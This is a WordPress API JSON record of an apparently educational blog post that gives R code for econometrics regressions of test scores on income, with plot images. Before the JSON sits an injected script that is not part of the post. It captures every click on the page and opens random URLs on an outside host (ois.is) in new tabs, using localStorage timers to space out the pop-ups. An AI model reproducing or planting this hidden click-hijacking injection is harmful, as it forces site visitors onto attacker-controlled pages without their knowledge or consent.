<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":947,"date":"2022-10-26T22:16:20","date_gmt":"2022-10-26T14:16:20","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=947"},"modified":"2023-10-16T21:41:29","modified_gmt":"2023-10-16T13:41:29","slug":"221013-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=947","title":{"rendered":"221013 \u8a08\u91cf\u7d93\u6fdf\u5b78"},"content":{"rendered":"<p>windows()<\/p>\n<p>attach(B)<\/p>\n<p>plot(math~income,xlim=c(0,60))<\/p>\n<p>abline(lm(math~income),col=2,lwd=2)<\/p>\n<p>&nbsp;<\/p>\n<p>reg &lt;- lm(math~income)<\/p>\n<p>windows()<\/p>\n<p>plot(reg,1)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>hist(reg$ residuals)<\/p>\n<p>&nbsp;<\/p>\n<p>B $ income2 = income*income<\/p>\n<p>attach(B) #attach\u5df2\u904e\u6642\u6545\u8981\u518d\u88dcattach<\/p>\n<p>reg1 &lt;- lm(read~income + income2)<\/p>\n<p>&nbsp;<\/p>\n<p>summary(reg)<\/p>\n<p>summary(reg1)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>plot(reg1,1)<\/p>\n<p>windows()<\/p>\n<p>plot(reg,1)<\/p>\n<p>&nbsp;<\/p>\n<p>anova(reg1,reg)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>hist(income,breaks=50)<\/p>\n<p>&nbsp;<\/p>\n<p>#B $ ln_income = log(income,base=exp(1))<\/p>\n<p>B $ ln_income = log(income)<\/p>\n<p>attach(B)<\/p>\n<p>windows()<\/p>\n<p>hist(ln_income,breaks=50)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>plot(read~ln_income)<\/p>\n<p>abline(lm(read~ln_income),cl=2,lwd=2)<\/p>\n<p>&nbsp;<\/p>\n<p>windows() #####\u522a\u6389\u4e86<\/p>\n<p>plot(B)\u00a0 #####\u522a\u6389\u4e86<\/p>\n<p>&nbsp;<\/p>\n<p>reg2 &lt;-lm(read~ln_income)<\/p>\n<p>summary(reg2)<\/p>\n<p>summary(reg1)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>plot(read~income)<\/p>\n<p>&nbsp;<\/p>\n<p>B$High = ifelse(income &gt;=17,1,0)<\/p>\n<p>&nbsp;<\/p>\n<p>head(B,20) #####\u522a\u6389\u4e86<\/p>\n<p>&nbsp;<\/p>\n<p>attach(B)<\/p>\n<p>reg4 &lt;- lm ( read~income+High+High*income)<\/p>\n<p>&nbsp;<\/p>\n<p>B$H_income = ifelse(income &gt;=17,income-17,0)<\/p>\n<p>attach(B)<\/p>\n<p>reg5 &lt;- lm ( read~income+H_income)<\/p>\n<p>&nbsp;<\/p>\n<p>summary(reg4)<\/p>\n<p>summary(reg5)<\/p>\n<p>anova(reg5)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>plot(B)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-960\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_1-300x259.png\" alt=\"\" width=\"300\" height=\"259\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_1-300x259.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_1-800x692.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_1-768x664.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_1.png 895w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-959\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_2-300x281.png\" alt=\"\" width=\"300\" height=\"281\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_2-300x281.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_2-800x750.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_2-768x720.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_2.png 838w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-958\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_3-300x290.png\" alt=\"\" width=\"300\" height=\"290\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_3-300x290.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_3-800x774.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_3-768x743.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_3.png 846w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-957\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_4-300x283.png\" alt=\"\" width=\"300\" height=\"283\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_4-300x283.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_4-800x756.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_4-768x725.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_4.png 866w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-956\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_5-300x276.png\" alt=\"\" width=\"300\" height=\"276\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_5-300x276.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_5-800x737.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_5-768x707.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_5.png 849w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-955\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_6-300x289.png\" alt=\"\" width=\"300\" height=\"289\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_6-300x289.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_6-800x771.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_6-768x740.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_6.png 832w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-961\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_7-294x300.png\" alt=\"\" width=\"294\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_7-294x300.png 294w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_7-785x800.png 785w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_7-768x783.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_7.png 788w\" sizes=\"(max-width: 294px) 100vw, 294px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-962\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_8-300x266.png\" alt=\"\" width=\"300\" height=\"266\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_8-300x266.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_8-800x708.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_8-768x680.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_8.png 889w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-963\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_9-300x297.png\" alt=\"\" width=\"300\" height=\"297\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_9-300x297.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_9-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_9-768x759.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_9.png 777w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-964\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_10-300x258.png\" alt=\"\" width=\"300\" height=\"258\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_10-300x258.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_10-800x688.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_10-768x661.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_10.png 837w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-965\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_11-297x300.png\" alt=\"\" width=\"297\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_11-297x300.png 297w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_11-768x775.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1013_11.png 789w\" sizes=\"(max-width: 297px) 100vw, 297px\" \/><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>windows() attach(B) plot(math~income,xli<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/947"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=947"}],"version-history":[{"count":2,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/947\/revisions"}],"predecessor-version":[{"id":966,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/947\/revisions\/966"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=947"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=947"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=947"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}